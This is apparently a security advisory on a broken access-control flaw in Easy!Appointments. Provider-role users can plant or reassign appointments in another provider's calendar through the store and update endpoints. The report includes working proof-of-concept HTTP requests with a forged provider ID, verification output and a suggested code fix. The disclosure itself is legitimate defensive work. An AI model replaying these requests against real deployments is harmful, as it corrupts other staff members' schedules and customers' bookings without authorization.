Summary

Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.

A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.

Root Cause — Step by Step Code Flow

Step 1 — Search correctly enforces provider isolation

The search endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:

// Appointments.php
if ($role_slug === DB_SLUG_PROVIDER) {
    foreach ($appointments as $index => $appointment) {
        if ((int) $appointment['id_users_provider'] !== (int) $user_id) {
            unset($appointments[$index]);
        }
    }
}

Step 2 — store() only checks generic add permission

The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:

// Appointments.php line 74-152
if (cannot('add', PRIV_APPOINTMENTS)) {
    abort(403, 'Forbidden');
}
 
$appointment = json_decode(request('appointment'), true);

Step 3 — Attacker-controlled id_users_provider saved directly

The controller whitelists and persists the appointment including the attacker-controlled provider ID:

$this->appointments_model->only($appointment, $this->allowed_appointment_fields);
$appointment_id = $this->appointments_model->save($appointment);

No check is performed to verify id_users_provider matches the current session.

Step 4 — Write-before-crash on store()

After the unauthorized row is committed, the controller crashes on a type error:

$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id

The attacker receives a 500 error response, but the foreign appointment row is already in the database.

Step 5 — update() has the same missing ownership check

The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:

// Appointments.php line 178-196
if (cannot('edit', PRIV_APPOINTMENTS)) {
    abort(403, 'Forbidden');
}
 
$appointment = json_decode(request('appointment'), true);
$appointment_id = $this->appointments_model->save($appointment);

A provider can reassign any appointment they can edit into a foreign provider's calendar.

Proof of Concept

Attacker: Provider with session ID 4
Target: Foreign provider with ID 2

Step 1 — Inject appointment into foreign provider's schedule:

POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
 
csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

Response: 500 Internal Server Error — type error on find()

But the row is committed:

id  start_datetime        id_users_provider  notes
6   2026-05-29 15:00:00   2                  foreign provider create by alicer

Provider 4 created a row that belongs to provider 2.

Step 2 — Reassign existing appointment to foreign provider:

POST /index.php/appointments/update HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
 
csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

Response: 200 OK

Result: Appointment 7 now belongs to provider 2 instead of provider 4.

Runtime verification result:

attacker provider id:                    4
foreign created appointment provider id: 2
reassigned appointment provider id:      2
provider-visible appointments:           0
PASS

The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.

Real World Impact

In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:

• Inject fake appointments into a colleague's schedule causing confusion and double-bookings
• Move their own appointments into another provider's calendar to hide or offload them
• Disrupt scheduling integrity for staff and customers
• Create unauthorized appointments that customers and admins attribute to the wrong provider
  The write-before-crash bug in store() makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.

Suggested Fix

In store() and update(): Enforce that id_users_provider matches the current session provider ID for non-admin roles:

if ($role_slug === DB_SLUG_PROVIDER) {
    $appointment['id_users_provider'] = $user_id; // force own provider ID
}

Fix the write-before-crash bug in store():

$appointment_id = $this->appointments_model->save($appointment);
$appointment = $this->appointments_model->find($appointment_id); // use ID not array

Reporter

Yash Shendge (ashrexon)
2026-05-25